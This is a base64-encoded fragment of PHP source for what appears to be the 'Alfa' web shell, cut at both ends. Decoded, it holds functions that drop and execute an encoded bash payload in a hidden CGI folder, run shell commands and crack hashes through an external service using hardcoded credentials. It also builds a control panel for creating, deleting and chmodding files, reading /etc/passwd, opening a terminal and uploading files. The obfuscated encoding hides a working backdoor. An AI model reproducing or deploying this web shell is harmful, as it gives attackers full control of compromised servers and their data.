uayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmYuIicgdGFyZ2V0PSdfYmxhbmsnPiIuJGZmLiI8L2E+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5TZWNvbmQgT3BlbiBUaGlzIExpbmsgPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmZmLiI8L2E+PC9jZW50ZXI+PC9wPiI7fX19CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhY2hlY2tmaWxldHlwZSgpewokcGF0aCA9ICRfUE9TVFsncGF0aCddOwokYXJnID0gJF9QT1NUWydhcmcnXTsKaWYoQGlzX2ZpbGUoJHBhdGguJy8nLiRhcmcpKXsKZWNobygiZmlsZSIpOwp9ZWxzZXsKZWNobygiZGlyIik7Cn0KfQpmdW5jdGlvbiBhbGZhV3JpdGVUb2NnaWFwaSgkbmFtZSwgJHNvdXJjZSl7CiR0ZW1wID0gIiI7CiRub3RfYXBpID0gYXJyYXkoImJhc2VkaXIuYWxmYSIsICJnZXRkaXIuYWxmYSIsICJnZXRoZWFkZXIuYWxmYSIpOwppZihpbl9hcnJheSgkbmFtZSwgJG5vdF9hcGkpKXsKJHRlbXAgPSBBTEZBX1RFTVBESVI7CmlmKCR0ZW1wKXsKQGNoZGlyKCR0ZW1wKTsKfQp9ZWxzZXsKYWxmYUNyZWF0ZVBhcmVudEZvbGRlcigpOwpAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAiLyIgLiBfX0FMRkFfREFUQV9GT0xERVJfXyk7Cn0KQG1rZGlyKCdhbGZhY2dpYXBpJywwNzU1KTsKX193cml0ZV9maWxlKCJhbGZhY2dpYXBpLyIuJG5hbWUsIF9fZ2V0X3Jlc291cmNlKCRzb3VyY2UpKTsKQGNobW9kKCJhbGZhY2dpYXBpLyIuJG5hbWUsIDA3NTUpOwpyZXR1cm4gJHRlbXA7Cn0KZnVuY3Rpb24gYWxmYWNoZWNrY2dpKCl7aWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLHRydWUsdHJ1ZSkpPjApZWNobygib2siKTtlbHNlIGVjaG8oIm5vIik7fQpmdW5jdGlvbiBhbGZhdXBkYXRlaGVhZGVyKCl7CmlmKCFpc3NldCgkX0NPT0tJRVsidXBkYXRlaGVhZGVyX2RhdGEiXSkpewokYmFzaCA9ICJ6WlJkYjlvd0ZJYXZ5YTg0OWRJR0pMSzB2VnlGTkZUb2hFUkJndEZkUUlSTTRoQUw0MFIyVWtZcC8zMTJnUEFScUxxYmFZbnlJZnM4eCs4NXIrVXZWMDRxaFRPaDNKR2hNZWczbndidFdubnFlY0RVb3o4K3pQR01RQnpHRUJQQklGNG1ZY1JCcEpNbEpGakE5STNHTU5tK01BdndQWENGUlI1T0NNaVUrcHFxR0kzdXIwNjdXMjgwZS8xYWVURWxDUVFrOFVKZ1MvNGJHT1V6Q1Y2cTB1c1p0b2p0T1JVaUVoV0RlR0VFTmdGcmhWSkpncFNoYjhPUlp4bEJKSUFDNVdDdU5xcUgzOTMxQS9pUkFlcGFoTlFMYTJZNSs0SkpLMFpwT0lRcnNOOEFtZGtnQXRlRm14dlk1UjhoazQ1UTFWSzVxNFlmY1pLdmpFYnFkcXNqRCszRklEOWFjQlpobjRpaW5vTlMvNjJvbE9NNVVYcVFaWmF6ZjdBeHZLdStKbUI3ZC9iZC9XM0Z5aURyRUpKRVVIOUx5UVRyV0VEWEtRemhlZ0F1VXRwdTBSbHVLcUkwUGdOT05mampBOUNQNXBoeXFVRTk4ZExxL1J6VTIrTkc5N25lNnZScnlGSDd3bm1sSWtreGN6YkJxdGxFU0dSMDZzL054dml4MjNuYWh1a2kvYTlleEFOa3ZOVGJyWHEvbVdmQWpHSkpwS05uZXVNTVZWT3ZXR3dvTlU0RFVBYm9icG9uS3JRUkQ1Q0VoQnVsYlpUNE9LcTBLOUFzNDhVTXJHYW5zWW9GNVFsMGVtc0xUdEVLN1BxZ0xZUVNZZnRsamhwd1lRMG1DM0h2c1BEQVpzZVpqeEtiKy83OWpmUTlWY2d0eVFHT0hyRmllZ1Q3YWd1YzJBTnVSZ1RVeUFXUmdpQzk5WE5EdG00V3g3ZGVYckxvZ0x2UXQ0T1lzejA3ZHVQOGlzV1VlZEIvN3NPblhiZ3M5S1QydzZDenhXLzBmWDZiYUgzNWNlR3UxU254Qnc9PSI7CiRyZWFsZGlyID0gYWRkc2xhc2hlcyhkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOwokdG1wX3BhdGggPSBhbGZhV3JpdGVUb2NnaWFwaSgiZ2V0aGVhZGVyLmFsZmEiLCRiYXNoKTsKJGRhdGEgPSBhbGZhRXgoImNkICd7JHRtcF9wYXRofS9hbGZhY2dpYXBpJztzaCBnZXRoZWFkZXIuYWxmYSIsZmFsc2UsdHJ1ZSx0cnVlKTsKaWYoQGlzX2FycmF5KEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKSkpewpfX2FsZmFfc2V0X2Nvb2tpZSgidXBkYXRlaGVhZGVyX2RhdGEiLCBfX1pXNWpiMlJsY2coJGRhdGEpKTsKZWNobyAkZGF0YTsKfQp9ZWxzZXsKZWNobyBfX1pHVmpiMlJsY2coJF9DT09LSUVbInVwZGF0ZWhlYWRlcl9kYXRhIl0pOwp9Cn0KZnVuY3Rpb24gaXNfaXB2NCgkaXApewpyZXR1cm4gZmlsdGVyX3ZhcigkaXAsIEZJTFRFUl9WQUxJREFURV9JUCwgRklMVEVSX0ZMQUdfSVBWNCkgPyAkaXAgOiAnKE51bGwpJzsKfQpmdW5jdGlvbiBfX2FsZXJ0KCRzKXsKZWNobyAnPGNlbnRlcj4nLl9fcHJlKCkuJHMuJzwvY2VudGVyPic7Cn0KZnVuY3Rpb24gY3JlYXRlX3RhYmxlKCRkYXRhKXsKZWNobyAnPHRhYmxlIGJvcmRlcj0iMSI+JzsKZm9yZWFjaCAoJGRhdGEgYXMgJGtleSA9PiAkdmFsKXsKJGFycmF5ID0gYXJyYXkoKTsKZm9yZWFjaCgkdmFsIGFzICRrID0+ICR2KXsKJGFycmF5WyRrXSA9ICR2Owp9CmVjaG8gIjx0cj48dGQ+PGRpdiBjbGFzcz0ndGJsdHh0Jz4iLiRhcnJheVsndGROYW1lJ10uIjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nIi4kYXJyYXlbJ2lkJ10uIicgbmFtZT0nIi4kYXJyYXlbJ2lucHV0TmFtZSddLiInICIuKCRhcnJheVsncGxhY2Vob2xkZXInXT8ncGxhY2Vob2xkZXInOid2YWx1ZScpLiI9JyIuJGFycmF5WydpbnB1dFZhbHVlJ10uIicgc2l6ZT0nIi4kYXJyYXlbJ2lucHV0U2l6ZSddLiInICIuKCRhcnJheVsnZGlzYWJsZWQnXT8nZGlzYWJsZWQnOicnKS4iPjwvdGQ+PC90cj4iOwp9CmVjaG8gJzwvdGFibGU+JzsKfQpmdW5jdGlvbiBhbGZhY3BjcmFjaygpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhhc2ggVG9vbHMgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnZGVjXCcpIj58IERlQ3J5cHRlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnKSI+fCBIYXNoIEFuYWx5emVyIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWydhbGZhMSddPT0nZGVjJyl7CiRhbGdvcml0aG1zID0gYXJyYXkoJ21kNSc9PidNRDUnLCdtZDQnPT4nTUQ0Jywnc2hhMSc9PidTSEExJywnc2hhMjU2Jz0+J1NIQTI1NicsJ3NoYTM4NCc9PidTSEEzODQnLCdzaGE1MTInPT4nU0hBNTEyJywnbnRsbSc9PidOVExNJyk7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRGVDcnlwdGVyIHw8L2Rpdj48YnI+PGJyPgo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnZGVjXCcsdGhpcy5tZDUudmFsdWUsXCc+PlwnLHRoaXMuYWxnLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+RGVjcnlwdCBNZXRob2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0iYWxnIiBzdHlsZT0id2lkdGg6MTAwcHg7Ij4nOwpmb3JlYWNoKCRhbGdvcml0aG1zIGFzICRrZXk9PiR2YWwpe2VjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpO30KZWNobyc8L3NlbGVjdD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ikhhc2giIG5hbWU9Im1kNSIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZigkX1BPU1RbJ2FsZmEzJ10gPT0gJz4+Jyl7CiRoYXNoID0gJF9QT1NUWydhbGZhMiddOwppZighZW1wdHkoJGhhc2gpKXsKJGhhc2hfdHlwZSA9ICRfUE9TVFsnYWxmYTQnXTsKJGVtYWlsID0gInNvbGV2aXNpYmxlQGdtYWlsLmNvbSI7CiRjb2RlID0gIjdiOWZhNzlmOTJjM2NkOTYiOwokdGFyZ2V0ID0gImh0dHBzOi8vbWQ1ZGVjcnlwdC5uZXQvQXBpL2FwaS5waHA/aGFzaD0iLiRoYXNoLiImaGFzaF90eXBlPSIuJGhhc2hfdHlwZS4iJmVtYWlsPSIuJGVtYWlsLiImY29kZT0iLiRjb2RlOwokcmVzcCA9IEBmaWxlX2dldF9jb250ZW50cygkdGFyZ2V0KTsKaWYoJHJlc3A9PScnKXsKJGdldCA9IG5ldyBBbGZhQ1VSTCgpOwokcmVzcCA9ICRnZXQtPlNlbmQoJHRhcmdldCk7Cn0KZWNobyBfX3ByZSgpLic8Y2VudGVyPic7CnN3aXRjaCgkcmVzcCl7CmNhc2UoJ0NPREUgRVJSRVVSIDogMDAxJyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91IGV4Y2VlZGVkIHRoZSA0MDAgYWxsb3dlZCByZXF1ZXN0IHBlciBkYXk8L2ZvbnQ+PC9iPiI7YnJlYWs7CmNhc2UoJ0NPREUgRVJSRVVSIDogMDAzJyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91ciByZXF1ZXN0IGluY2x1ZGVzIG1vcmUgdGhhbiA0MDAgaGFzaGVzLjwvZm9udD48L2I+IjticmVhazsKY2FzZSgnQ09ERSBFUlJFVVIgOiAwMDQnKTplY2hvICI8Yj48Zm9udCBjb2xvcj0ncmVkJz5UaGUgdHlwZSBvZiBoYXNoIHlvdSBwcm92aWRlIGluIHRoZSBhcmd1bWVudCBoYXNoX3R5cGUgZG9lc24ndCBzZWVtIHRvIGJlIHZhbGlkPC9mb250PjwvYj4iO2JyZWFrOwpjYXNlKCdDT0RFIEVSUkVVUiA6IDAwNScpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSBoYXNoIHlvdSBwcm92aWRlIGRvZXNuJ3Qgc2VlbSB0byBtYXRjaCB3aXRoIHRoZSB0eXBlIG9mIGhhc2ggeW91IHNldC48L2ZvbnQ+PC9iPiI7YnJlYWs7Cn0KaWYoc3Vic3RyKCRyZXNwLDAsNCkhPSdDT0RFJyYmJHJlc3AhPScnKXsKZWNobyAiPGI+UmVzdWx0OiA8Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHJlc3AuIjwvZm9udD48L2I+IjsKfWVsc2VpZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnKXsKZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Tm9UIEZvdW5kPC9mb250PjxiciAvPiI7Cn0KZWNobygnPC9jZW50ZXI+Jyk7Cn0KfQp9CmlmKCRfUE9TVFsnYWxmYTEnXT09J2FuYWx5emVyJyl7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSGFzaCBBbmFseXplciB8PC9kaXY+PC9wPgo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnYW5hbHl6ZXJcJyx0aGlzLmhhc2gudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+SGFzaDogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iSGFzaCIgbmFtZT0iaGFzaCIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZigkX1BPU1RbJ2FsZmEzJ10gPT0gJz4+Jyl7CiRoYXNoID0gJF9QT1NUWydhbGZhMiddOwppZighZW1wdHkoJGhhc2gpKXsKJGN1cmwgPSBuZXcgQWxmYUNVUkwoKTsKJHJlc3AgPSAkY3VybC0+U2VuZCgiaHR0cHM6Ly9tZDVkZWNyeXB0Lm5ldC9lbi9IYXNoRmluZGVyLyIsInBvc3QiLCJoYXNoPXskaGFzaH0mY3J5cHQ9U2VhcmNoIik7CmVjaG8oX19wcmUoKS4nPGNlbnRlcj4nKTsKaWYocHJlZ19tYXRjaCgnIzxmaWVsZHNldCBjbGFzcz0idHJvdXZlIj4oLio/KTwvZmllbGRzZXQ+IycsJHJlc3AsJHMpKXsKZWNobygnPGZvbnQgY29sb3I9ImdyZWVuIj4nLiRzWzFdLic8L2ZvbnQ+Jyk7Cn1lbHNlewplY2hvKCc8Zm9udCBjb2xvcj0icmVkIj5Ob3QgRm91bmQuLi4hPC9mb250PicpOwp9CmVjaG8oJzwvY2VudGVyPjxicj4nKTsKfQp9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFmb290ZXIoKXsKaWYoIWlzc2V0KCRfUE9TVFsnYWpheCddKSl7CmVjaG8gIjx0YWJsZSBjbGFzcz0nZm9vdCcgd2lkdGg9JzEwMCUnIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzMnIGNlbGxwYWRkaW5nPScwJyA+Cjx0cj4KPHRkIHdpZHRoPScxNyUnPjxmb3JtIG9uc3VibWl0PVwiaWYodGhpcy5mLnZhbHVlLnRyaW0oKS5sZW5ndGg9PTApcmV0dXJuIGZhbHNlO2VkaXRvcih0aGlzLmYudmFsdWUsJ21rZmlsZScsJycsJycsJycsJ2ZpbGUnKTt0aGlzLmYudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+TWFrZSBGaWxlIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT0ndGV4dCcgbmFtZT0nZicgdmFsdWU9Jyc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMjElJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTt0aGlzLmQudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+TWFrZSBEaXIgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdkJyB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMjIlJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLHRoaXMuZGVsLnZhbHVlKTt0aGlzLmRlbC52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5EZWxldGUgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdkZWwnIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KPHRkIHdpZHRoPScxOSUnPjxmb3JtIG9uc3VibWl0PVwiaWYodGhpcy5mLnZhbHVlLnRyaW0oKS5sZW5ndGg9PTApcmV0dXJuIGZhbHNlO2VkaXRvcih0aGlzLmYudmFsdWUsJ2NobW9kJywnJywnJywnJywnbm9uZScpO3RoaXMuZi52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5DaG1vZCA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9dGV4dCBuYW1lPWYgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD0nZyhcIkZpbGVzTWFuXCIsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2hhbmdlIERpciA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIGlkPSdmb290ZXJfY3dkJyB0eXBlPSd0ZXh0JyBuYW1lPSdjJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuIic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD1cImVkaXRvcih0aGlzLmZpbGUudmFsdWUsJ3ZpZXcnLCcnLCcnLCcnLCdmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+UmVhZCBGaWxlIDogPC9zcGFuPjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHZhbHVlPScvZXRjL3Bhc3N3ZCc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49JzQnPjxmb3JtIHN0eWxlPSdtYXJnaW4tdG9wOiAxMHB4Oycgb25zdWJtaXQ9XCJyZXR1cm4gZmFsc2U7XCIgYXV0b2NvbXBsZXRlPSdvZmYnPjxzcGFuPjxidXR0b24gb25DbGljaz0nYWxmYU9wZW5QaHBUZXJtaW5hbCgpO3JldHVybiBmYWxzZTsnIGNsYXNzPSdmb290dGFibGUgYWxmYV9jdXN0b21fY21kX2J0bic+VGVybWluYWw8L2J1dHRvbj48YnI+PC9mb3JtPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49JzQnPjxmb3JtIG9uc3VibWl0PSd1KHRoaXMpO3JldHVybiBmYWxzZTsnIG5hbWU9J2Zvb3Rlcl9mb3JtJyBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nRmlsZXNNQW4nPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjJyB2YWx1ZT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FqYXgnIHZhbHVlPSd0cnVlJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWxmYTEnIHZhbHVlPSd1cGxvYWRGaWxlJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nY2hhcnNldCcgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPgo8c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPlVwbG9hZCBmaWxlOiA8L3NwYW4+PHNwYW4+PGJ1dHRvbiBpZD0nYWRkdXAnIG9uY2xpY2s9J2FkZG5ld3VwKCk7cmV0dXJuIGZhbHNlOyc+PGI+KzwvYj48L2J1dHRvbj48L3NwYW4+PHAgaWQ9J3Bmb290ZXJ1cCc+PGxhYmVsIGNsYXNzPSdpbnB1dGZpbGUnIGZvcj0nZm9vdGVydXAnPjxzcGFuIGlkPSdfX2ZuYW1ldXAnPjwvc3Bhbj4gPHN0cm9uZz4mbmJzcDsmbmJzcDtDaG9vc2UgYSBmaWxlPC9zdHJvbmc+PC9sYWJlbD48aW5wdXQgaWQ9J2Zvb3RlcnVwJyBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9J2ZpbGUnIG5hbWU9J2ZbXScgb25DaGFuZ2U9J2hhbmRsZXVwKHRoaXMsMCk7JyBtdWx0aXBsZT48L3A+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvZm9ybT48ZGl2IGlkPSdhbGZhLWNvcHlyaWdodCc+PHNwYW4gY2xhc3M9J2NvcHlyaWdodCc+WyA/Pz8gJmNvcHk7IDIwMTItIi5kYXRlKCdZJykuIiBdPC9zcGFuPjwvZGl2PjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2PgoKPGRpdiBpZD0nb3B0aW9uc193aW5kb3cnIHN0eWxlPSdiYWNrZ3JvdW5kOnJnYmEoMCwgMCwgMCwgMC42OSk7Jz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nb3B0LXRpdGxlJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcIm9wdGlvbnNfd2luZG93XCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcIm9wdGlvbnNfd2luZG93XCIpOycgY2xhc3M9J2Nsb3NlLWJ1dHRvbic+PC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0naGVpZ2h0OjEwMCU7JyBjbGFzcz0nY29udGVudF9vcHRpb25zX2hvbGRlcic+PGRpdiBjbGFzcz0nb3B0aW9uc190YWInPjwvZGl2PjxkaXYgY2xhc3M9J29wdGlvbnNfY29udGVudCcgc3R5bGU9J21hcmdpbi1sZWZ0OjE0cHg7bWFyZ2luLXJpZ2h0OjMwcHg7YmFja2dyb3VuZDojMDAwO292ZXJmbG93OmF1dG87Jz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4KCjxkaXYgaWQ9J2RhdGFiYXNlX3dpbmRvdycgc3R5bGU9J2JhY2tncm91bmQ6cmdiYSgwLCAwLCAwLCAwLjY5KTsnPjxkaXYgY2xhc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdvcHQtdGl0bGUnPlNxbCBNYW5hZ2VyPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRyb2xsZXInPjxkaXYgY2xhc3M9J2VkaXRvci1taW5pbWl6ZScgb25DbGljaz0nZWRpdG9yTWluaW1pemUoXCJkYXRhYmFzZV93aW5kb3dcIik7Jz48L2Rpdj48ZGl2IG9uQ2xpY2s9J2VkaXRvckNsb3NlKFwiZGF0YWJhc2Vfd2luZG93XCIpOycgY2xhc3M9J2Nsb3NlLWJ1dHRvbic+PC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nY29udGVudF9vcHRpb25zX2hvbGRlcicgc3R5bGU9J21hcmdpbi1sZWZ0OjE0cHg7bWFyZ2luLXJpZ2h0OjMwcHg7YmFja2dyb3VuZDojMDAwO21heC1oZWlnaHQ6OTAlOyc+PGRpdiBjbGFzcz0nc3FsLXRhYnMnPjwvZGl2PjxkaXYgY2xhc3M9J3NxbC1jb250ZW50cycgc3R5bGU9J21heC1oZWlnaHQ6IDg1dmg7Jz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4KCjxkaXYgaWQ9J2NnaWxvYWRlcic+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J29wdC10aXRsZSc+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRyb2xsZXInPjxkaXYgY2xhc3M9J2VkaXRvci1taW5pbWl6ZScgb25DbGljaz0nZWRpdG9yTWluaW1pemUoXCJjZ2lsb2FkZXJcIik7Jz48L2Rpdj48ZGl2IG9uQ2xpY2s9J2VkaXRvckNsb3NlKFwiY2dpbG9hZGVyXCIpOycgY2xhc3M9J2Nsb3NlLWJ1dHRvbic+PC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBpZD0nY2dpZnJhbWUnIHN0eWxlPSdwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4Oyc+PGRpdiBjbGFzcz0ndGVybWluYWwtdGFicyc+PC9kaXY+PGRpdiBzdHlsZT0naGVpZ2h0OjkwJTsnIGNsYXNzPSd0ZXJtaW5hbC1jb250ZW50cyc+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J2VkaXRvcicgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPjxkaXYgY2xhc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItcGF0aCc+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRyb2xsZXInPjxkaXYgY2xhc3M9J2VkaXRvci1taW5pbWl6ZScgb25DbGljaz0nZWRpdG9yTWluaW1pemUoXCJlZGl0b3JcIik7Jz48L2Rpdj48ZGl2IG9uQ2xpY2s9J2VkaXRvckNsb3NlKFwiZWRpdG9yXCIpOycgY2xhc3M9J2Nsb3NlLWJ1dHRvbic+PC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBvbmNsaWNrPSdoaXN0b3J5UGFuZWxDb250cm9sbGVyKHRoaXMpOycgbW9kZT0ndmlzaWJsZScgY2xhc3M9J2hpc3RvcnktcGFuZWwtY29udHJvbGxlcic+PDw8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItZXhwbG9yZXInPjxkaXYgY2xhc3M9J2hoZWFkZXInPjxkaXYgY2xhc3M9J2hpc3RvcnktY2xlYXInIG9uY2xpY2s9J2NsZWFyRWRpdG9ySGlzdG9yeSgpOyc+Q2xlYXIgYWxsPC9kaXY+PGRpdiBjbGFzcz0naGhlYWRlci10ZXh0Jz5IaXN0b3J5PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLXNlYXJjaCc+PGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIGlkPSdzZWFyY2gtaW5wdXQnIHBsYWNlaG9sZGVyPSdzZWFyY2gnPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2hpc3RvcnktbGlzdCc+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLW1vZGFsJz48ZGl2IGNsYXNzPSdlZGl0b3ItYm9keSc+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnQnPjxkaXYgY2xhc3M9J2VkaXRvci10YWJzJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udGVudC1ob2xkZXInPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSd1cGRhdGUtY29udGVudCc+PC9kaXY+CjxkaXYgaWQ9J2RhdGFiYXNlX3dpbmRvdy1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJkYXRhYmFzZV93aW5kb3dcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PHNwYW4gY2xhc3M9J29wdGlvbnNfbWluX2JhZGdlJz4wPC9zcGFuPjxkaXYgY2xhc3M9J21pbmltaXplZC10ZXh0JyBzdHlsZT0n